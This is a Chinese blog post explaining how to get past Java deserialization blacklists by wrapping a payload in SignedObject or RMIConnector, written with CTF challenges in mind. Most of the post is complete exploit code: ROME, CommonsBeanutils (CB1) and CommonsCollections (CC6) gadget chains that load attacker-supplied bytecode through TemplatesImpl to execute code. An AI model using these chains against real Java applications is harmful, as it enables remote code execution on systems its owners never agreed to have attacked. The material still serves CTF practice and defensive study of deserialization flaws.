首页 > 编程语言 >Java二次反序列化

Java二次反序列化

时间:2023-12-06 22:02:12浏览次数:31  
标签:java Java HashMap 二次 SignedObject new import 序列化 ToStringBean

前言

题目hook resolveClass存在入口类黑名单,就可以用二次反序列化绕过,例如巅峰极客的babyurl。
本质是,A类的a方法,内部可以实现反序列化,并且要反序列化的对象我们可控;在B入口类被禁用的情况下,
通过把要反序列化的恶意对象b放入A类,用没被禁用的入口类C的readObject,去调用A类的a方法,进而调到B类的readObject,实现绕过黑名单。

原理分析

SignedObject

SignedObject#getObject会把this.content里的内容反序列化。
image.png
而this.content在构造函数里可以控制,传入对象会自动序列化,然后写入this.content
image.png
把待反序列化对象传入构造函数,将问题转换成反序列化链调用SignedObject#getObjetct。

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(待反序列化对象, kp.getPrivate(), Signature.getInstance("DSA"));

RMIConnector

RMIConnector#findRMIServerJRMP会把传入的base64参数反序列化
image.png
RMIConnector#findRMIServer,如果path以"/stub/"开头,就会调用findRMIServerJRMP
image.png
RMIConnector#connect,会调用findRMIServer,注意rmiServer要为null
image.png
把待反序列化对象Base64编码拼接到URL后面,将问题转换成调RMIConnector#connect。

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");  // 固定写法,不然创建不了
setFieldValue(jmxServiceURL, "urlPath", "/stub/待反序列化对象");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

Exp

触发SignedObject#getObject

  • ROME链
    • HashMap入口类
    • HashTable入口类
    • badAttributeValueExpException入口类
    • HashMap+HotSwappableTargetSource类
  • CB1链
package SignedObject;

import Utils.ReflectUtils;
import Utils.SerialUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

public class ROMEHashMap {
    public static void main(String[] args) throws Exception {

        HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

        ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
//        SerialUtils.serialize(hashMap);
        SerialUtils.unserialize();
    }


    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        return hashMap;
    }

}
package SignedObject;

import Utils.ReflectUtils;
import Utils.SerialUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Hashtable;

public class ROMEHashTable {
    public static void main(String[] args) throws Exception {

        HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

        ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);
        ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

        Hashtable hashtable = new Hashtable();
        hashtable.put(objectBean,"456");

        SerialUtils.serialize(hashtable);
//        SerialUtils.unserialize();
    }

    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        return hashMap;
    }

}
package SignedObject;

import Utils.ReflectUtils;
import Utils.SerialUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

public class ROMEBadAttributeValueExpException {
    public static void main(String[] args) throws Exception {

        HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

        ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        ReflectUtils.setFieldValue(badAttributeValueExpException,"val",toStringBean);

        SerialUtils.serialize(badAttributeValueExpException);
        SerialUtils.unserialize();
    }
    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        return hashMap;
    }
}

这个ROME链,需要SpringBoot依赖。

package SignedObject;

import Utils.ReflectUtils;
import Utils.SerialUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;

public class ROMEHotSwappableTargetSource {
    public static void main(String[] args) throws Exception {

        HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

        ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);

        HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("jasper"));

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(h1,h1);
        hashMap.put(h2,h2);

        SerialUtils.serialize(hashMap);
        SerialUtils.unserialize();
    }
    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        return hashMap;
    }

}

下面需要有CB依赖(1.9.4),本质是利用CB链调用任意getter,进而调用SignedObject#getObject

package SignedObject;
import Utils.ReflectUtils;
import Utils.SerialUtils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.beanutils.BeanComparator;

import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.PriorityQueue;


public class CB1 {
    public static void main(String[] args) throws Exception{
        HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(evilObject, kp.getPrivate(), Signature.getInstance("DSA"));

        BeanComparator beanComparator = new BeanComparator();

        //add会提前触发链条,这里选择先提前add,再统一传参
        PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        //统一传参,防止链条被破坏
        ReflectUtils.setFieldValue(priorityQueue,"queue",new SignedObject[]{signedObject,signedObject});
        ReflectUtils.setFieldValue(beanComparator,"property","object");
        //
        SerialUtils.serialize(priorityQueue);
        SerialUtils.unserialize();

    }
    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        return hashMap;
    }
}

CC链触发RMIConnector

利用CC链命令执行的功能,去执行RMIConnector#connect方法,下面以CC6为例。

package RMIConnector;
import Utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

import static Utils.ReflectUtils.setFieldValue;


public class CC6 {
    public static void main(String[] args) throws Exception{
        // get b64string of evil object
        HashMap<Object,Object> evilObject = (HashMap<Object, Object>) getEvilObject();
        String evilB64 = SerialUtils.serializeB64(evilObject);
        // put evil object into rmiConnector
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/"+evilB64);
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        // trigger rmiConnector#connect
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(rmiConnector),
                new InvokerTransformer("connect",null,null),
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        //断开链子,防止put消耗链条
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"Jasper");
        //把链子改回来
        setFieldValue(lazyMap,"factory",chainedTransformer);
        //绕过懒加载,调用Transform
        lazyMap.remove("key2");
//        SerialUtils.serialize(hashMap1);
        SerialUtils.unserialize();
    }
    // here can be CC object or others need to deserialize.
    public static Object getEvilObject()throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Calc.class"));
        ReflectUtils.setFieldValue(templatesimpl,"_name","Jasper");
        ReflectUtils.setFieldValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});

        ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "123");
        return hashMap;
    }
}

小结

二次反序列化,本质就是利用其他类,给我们要反序列化的对象套一层壳子。

参考链接

Java二次反序列化初探@Bmth

标签:java,Java,HashMap,二次,SignedObject,new,import,序列化,ToStringBean
From: https://www.cnblogs.com/jasper-sec/p/17880623.html

相关文章

  • Java反序列化 CC4链
    参考链接https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections4.javahttps://www.bilibili.com/video/BV1NQ4y1q7EU环境搭建CommonCollections4jdk8u65利用链分析看了下ysoserial的exp,其实就是CC3的代码执行+Common.Co......
  • Java反序列化 CC2链
    参考链接https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections2.java环境搭建CommonCollections4jdk8u65利用链分析这条链子是利用invokerTransformer触发templates.newTransformer(),进而触发TemplatesImpl代码执行Gadg......
  • Java反序列化 CC5链
    参考链接https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java环境搭建Commons.Collections3.2.1jdk8u65利用链分析后面都和CC1-LazyMap一样,前面的话,改了下调用lazyMap.get的函数和入口类,没啥好分析的/* Gadget......
  • java JDK7 Date
    packagenet.elaina.Date01;importjava.util.Date;importjava.util.Random;publicclassTest02{publicstaticvoidmain(String[]args){/*需求1:打印时间原点开始一年之后的时间需求2:定义任意两个Date对象,比较一下哪个时间在前,哪个时间在后*......
  • Java登陆第十九天——HTML规范与语法
    使用IDEA新建一个空的Web项目,并填写路径与项目名称进入项目后,在根目录新建一个HTML页面,取名为index就可以得到一个最基础的HTML页面在IDEA中,使用浏览器打开此页面页面内容如下:如何修改浏览器选项File-Settings-Tools-WebBrowsersHTML页面规范标签<>一对这样的......
  • JAVA操作Redis工具类
    importlombok.extern.slf4j.Slf4j;importorg.springframework.beans.factory.annotation.Autowired;importorg.springframework.data.redis.core.RedisTemplate;importorg.springframework.stereotype.Component;importorg.springframework.util.CollectionUtils;im......
  • java 序列话注解 @Transient
    java序列话注解@TransientJava序列化注解及其使用简介在Java程序中,对象的序列化是指将对象转换为字节流的过程,以便在网络上传输或保存到文件中。而反序列化则是将字节流重新转换为对象。Java提供了java.io.Serializable接口,用于标识可序列化的类。然而,有时我们希望......
  • java进行文件搜索的一个小案例
    分享一个小demo,可以查询某个文件目录下的某个文件并启动,来自黑马的IO教程importjava.io.File;importjava.io.IOException;publicclassApp3{publicstaticvoidmain(String[]args)throwsIOException{searchFile(newFile("D:/"),"pycharm64.exe");......
  • java中的关键字transient,将不需要序列化的属性前添加关键字transient,序列化对象的时候
    java中的关键字transient,将不需要序列化的属性前添加关键字transient,序列化对象的时候,这个属性就不会被序列化这个关键字的作用其实我在写java的序列化机制中曾经写过,不过那时候只是简单地认识,只要其简单的用法,没有深入的去分析。这篇文章就是去深入分析一下transient关键字。先......
  • Java第四课_循环和函数
    1.循环for/*for(初始化语句A;boolean类型表达式B;更改表达式C){循环体,就是需要被重复执行的代码;D}执行顺序:for-->A-->B-->|false:循环到此结束......